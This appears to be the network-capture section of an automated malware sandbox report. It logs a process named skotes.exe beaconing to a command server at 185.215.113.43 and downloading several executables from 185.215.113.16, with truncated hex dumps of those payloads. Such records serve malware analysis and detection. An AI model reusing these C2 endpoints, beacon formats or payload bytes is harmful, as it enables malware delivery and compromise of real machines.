00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@LT@WkD$KK @.rsrcD@.idata @ *@febftsfn 1@dcycmmutK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	58522	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:05.014478922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 03:46:05.917464972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	58523	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:07.437402964 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 03:46:08.357918978 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 33 30 37 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 37 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 30 37 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1003073001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003074001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003075001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003076001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	58524	185.215.113.16	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:08.369096994 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 03:46:09.289516926 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:09 GMT Content-Type: application/octet-stream Content-Length: 2948608 Last-Modified: Fri, 01 Nov 2024 02:40:57 GMT Connection: keep-alive ETag: "67243fb9-2cfe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 9c 35 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@@05-@Th@ ~@.rsrc@@.idata @blpxggonPB@mabdpyjv0,@.taggant00",@
Nov 1, 2024 03:46:09.290153027 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:09.290163040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:09.290173054 CET	12	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:09.290184975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:09.290196896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:09.290209055 CET	424	IN	Data Raw: 86 35 ff c5 f5 36 26 68 72 77 d1 2e 6c 10 4b 32 86 88 0c 0b 8e bc e6 79 63 88 2c e0 31 2c 63 4e 36 83 22 4e 5b 00 64 21 93 7b 1c 3d 94 92 44 44 58 57 6a b7 8e 7a 04 bf 1a da 9b b3 9d 7f fa 3c 78 0d e1 cb 0f a5 28 cd 98 54 f1 54 1c 15 74 07 4a f9 Data Ascii: 56&hrw.lK2yc,1,cN6"N[d!{=DDXWjz<x(TTtJ5ejlFjpLdMX-@OTD0OpwOj0=KC4Ty}p\|{Z<n)0E1!cD)Xfg~'-huXy2)t`0\|X
Nov 1, 2024 03:46:09.290992022 CET	1148	IN	Data Raw: 3f c9 0d 25 56 92 86 39 65 9d aa fe fd 8e c6 ef 0c 15 3b f8 41 b9 33 f7 92 50 cf 2f ab 33 9e 2e 6e 0e 28 76 dd 7e 13 33 52 66 34 30 e9 09 d6 42 7c 85 a0 8c d3 a1 cc 4a e2 a9 8c dc 5d 5f 86 98 87 e4 a5 5b fb 84 26 3e 4b 8f 20 d5 dc 16 75 43 46 62 Data Ascii: ?%V9e;A3P/3.n(v~3Rf40B\|J]_[&>K uCFbv`.g)[(U"a/3Z67kRk W5\\cffu>%m0d^)@/]dlFV* w;v(3a-C+R[Sn\|GN};Gb?~2:`!m~KN
Nov 1, 2024 03:46:09.291006088 CET	1236	IN	Data Raw: 36 91 32 03 5c 52 f8 89 6b a5 2b 04 67 63 33 43 73 35 e0 43 ab ec 33 41 c9 11 df 41 52 7c 2c 32 2d 4d ee 57 35 7f cf cc 65 45 f6 fc ed 0f 6b 78 74 4d 59 07 63 b0 d0 50 06 06 23 6f c6 f0 66 73 58 d8 15 07 f9 0d a8 43 5e 5b 2a 40 a5 94 6d 14 50 8c Data Ascii: 62\Rk+gc3Cs5C3AAR\|,2-MW5eEkxtMYcP#ofsXC^[@mPjkk6^b05X.@[e#Cxx`ntV~5fw}}%0rX\CEh!mC"#+a[qh(.I>=f-0/4nz0CNaG
Nov 1, 2024 03:46:09.291016102 CET	1236	IN	Data Raw: 17 70 bb 57 66 84 5c 0f 4a 04 3c 6f 32 62 b8 73 04 2c 35 8f 9c 94 a1 45 01 99 c6 01 97 88 f1 9c 76 55 0b c1 9d e3 3a 1c 56 f3 46 57 73 9f 5b 5f cb 4e cd 43 8d c5 5b 40 34 3f df e3 0d 9c c2 8a 5b 0f f0 5f f1 08 1f ef 47 04 75 80 26 a6 e5 ff 14 92 Data Ascii: pWf\J<o2bs,5EvU:VFWs[_NC[@4?[_Gu&>L=2OgdX7V[<zh586a!\Q(t07l:m>Y)A$tf1gB,{oe+Qk~F2N^nkt`D-xtth5iBVRi
Nov 1, 2024 03:46:09.294574022 CET	1236	IN	Data Raw: 1c c6 4e 4c dd f3 b6 9e be 10 ad d5 94 db 2f 64 32 cc 29 05 60 fe af ea b4 3a 47 31 53 5c 32 21 16 9d 1e c9 3d 08 86 0c 3f 75 96 6f bf cf fe 3b e3 74 fd 2f 6b cf ca 4c 82 79 5f 60 02 2a 82 63 ce cf 67 71 12 f0 e4 d3 09 54 c5 1e 94 e1 fb 29 7c 05 Data Ascii: NL/d2)`:G1S\2!=?uo;t/kLy_`*cgqT)\|"20m/\|h{t&"\|__]dh}k/+.1Hd3hO~ketiX snZDjl&CyMV@/k:G[l{i^"K&ye4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	58525	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:17.636054993 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003073001&unit=246122658369
Nov 1, 2024 03:46:18.513044119 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	58527	185.215.113.16	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:18.523200989 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 03:46:19.429996967 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:19 GMT Content-Type: application/octet-stream Content-Length: 2161152 Last-Modified: Fri, 01 Nov 2024 02:41:10 GMT Connection: keep-alive ETag: "67243fc6-20fa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 c0 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 73 00 00 04 00 00 fe 7b 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@s{!@P.d. p.v@.rsrc .@.idata .@ *.@fcyxulxuP`YJ@umqfzdmls @.taggant0s" @
Nov 1, 2024 03:46:19.430059910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:19.430075884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:19.430270910 CET	436	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:19.430285931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: _2`}W0
Nov 1, 2024 03:46:19.430300951 CET	1236	IN	Data Raw: 0b a8 c9 28 46 71 9b 8e 0e 6d c6 0e c8 06 f3 0c aa 3f 57 bb ad d2 2f 01 f1 a4 bd ff 5a 4b 9c f5 b3 af e0 58 fc c5 d2 be 26 6b cd d7 37 a6 d1 8d fd 28 00 d5 65 2b 24 f5 d0 a8 a7 62 23 41 00 2f f0 ca 0b c7 15 ba db 85 3f b6 fe 2c e2 0a 0b c7 d6 c6 Data Ascii: (Fqm?W/ZKX&k7(e+$b#A/?,z+UE/7F)!6hir%,f6:c'@^;1tNNa.GFA&d/u(H6rPe"mxp)>,P.\|X4[<A:1p
Nov 1, 2024 03:46:19.430314064 CET	124	IN	Data Raw: 1e f6 da 40 1f 25 f6 b8 b7 1b c4 f2 d3 b3 c8 58 5a f3 8d a8 32 e7 70 be f0 2f c1 e6 3b fb 0b 26 c3 54 4d 28 24 4e 1e b7 4c 3c da e6 cf b3 a4 a5 74 ac 1e b5 c5 4d cb 2e 2f 8e cb fe 59 9d 24 e2 be 2a 3b 1a be 0e 3c c5 6e 55 8d 0f f9 06 bd d6 a9 28 Data Ascii: @%XZ2p/;&TM($NL<tM./Y$*;<nU(^W_nDfSz
Nov 1, 2024 03:46:19.430550098 CET	1236	IN	Data Raw: 00 f7 aa 6c ae d5 dc 51 bc 88 0b b6 fd a9 c2 a0 fc df 93 23 14 d0 f7 8b 40 d1 fe 10 d0 28 2b 2a c7 9a ed 42 1a eb bb 62 6c ca 5d b6 13 c6 c4 c4 aa e7 78 c9 90 66 ac f6 dd d7 bf 19 ae 91 21 8a 21 06 4b a4 5a 5e 54 08 d0 33 0e 89 38 39 d9 96 f1 99 Data Ascii: lQ#@(+*Bbl]xf!!KZ^T389j&L$:"^+o]o!z?p~v+60Kv3?q.0"Qn[>?m55(,F
Nov 1, 2024 03:46:19.430563927 CET	1236	IN	Data Raw: e4 86 25 4e 10 2e c3 40 30 ed 4e b5 97 11 83 55 f0 62 dd 1f e5 f2 f6 f5 75 6e d4 b4 7f 2e 1d 8a 34 08 83 85 30 bf a6 c7 f4 df 9e 0b 30 ce b2 be cd aa e2 eb db c9 72 ad bb ce 4a c1 33 bd 9c 89 1a bf e2 ac df 2a de a2 c4 df e4 10 29 f6 fa bd f7 2a Data Ascii: %N.@0NUbun.400rJ3)r,M#4YN(-Ts'ErXW-N;,/*.4^I{Fv@xFAk'?_hGFIWX9-
Nov 1, 2024 03:46:19.430576086 CET	424	IN	Data Raw: cc 3c 6b b5 63 2e 46 8a cc 89 0f cd 6b bf fc 70 cf 18 46 e1 1b bf f3 7c ee bf a2 b6 04 c2 6a e8 16 c7 b2 ad b3 de 4b e5 70 0a 28 31 fe be fe dc d7 47 d4 cb c7 76 fe 12 cd e6 ca f8 33 b4 9e 71 d0 2d c8 be c4 b6 2a 29 a1 b3 1b 4d 1b b8 07 2d a1 bf Data Ascii: <kc.FkpF\|jKp(1Gv3q-)M-l4#l/{i-ZU4p~C6]27TYoa>m&9)^C:36vlSX0NltbtBWTo+"QW$Mi8
Nov 1, 2024 03:46:19.434906006 CET	1236	IN	Data Raw: f5 ab 76 5d b4 bf 82 e9 80 18 8b 16 63 3a 93 be cc 8e cc 60 77 9a 81 ae fb 9e d4 a8 ef e4 5d 33 06 ce f1 9a d0 e4 04 c9 c4 b7 44 69 a8 10 87 fd e3 47 d4 ec b3 17 49 f0 2b d8 77 fd 2f bf 1e cc 53 88 57 0f 98 3d fd e2 eb bf f9 32 09 fa bb 2e 2c bf Data Ascii: v]c:`w]3DiGI+w/SW=2.,84bF^F'vn*+@3FL\|/9O2L;4XJj,8-EMn+sbHK4Yh=[3X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	58535	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:27.217359066 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003074001&unit=246122658369
Nov 1, 2024 03:46:28.154186010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	58536	185.215.113.16	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:28.551270008 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 03:46:29.456432104 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:29 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Fri, 01 Nov 2024 02:44:59 GMT Connection: keep-alive ETag: "672440ab-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a3 40 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL@$g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 1, 2024 03:46:29.456480026 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 1, 2024 03:46:29.456861973 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 1, 2024 03:46:29.456873894 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 1, 2024 03:46:29.456887007 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Nov 1, 2024 03:46:29.456975937 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Nov 1, 2024 03:46:29.456989050 CET	848	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Nov 1, 2024 03:46:29.457139969 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Nov 1, 2024 03:46:29.457212925 CET	1236	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
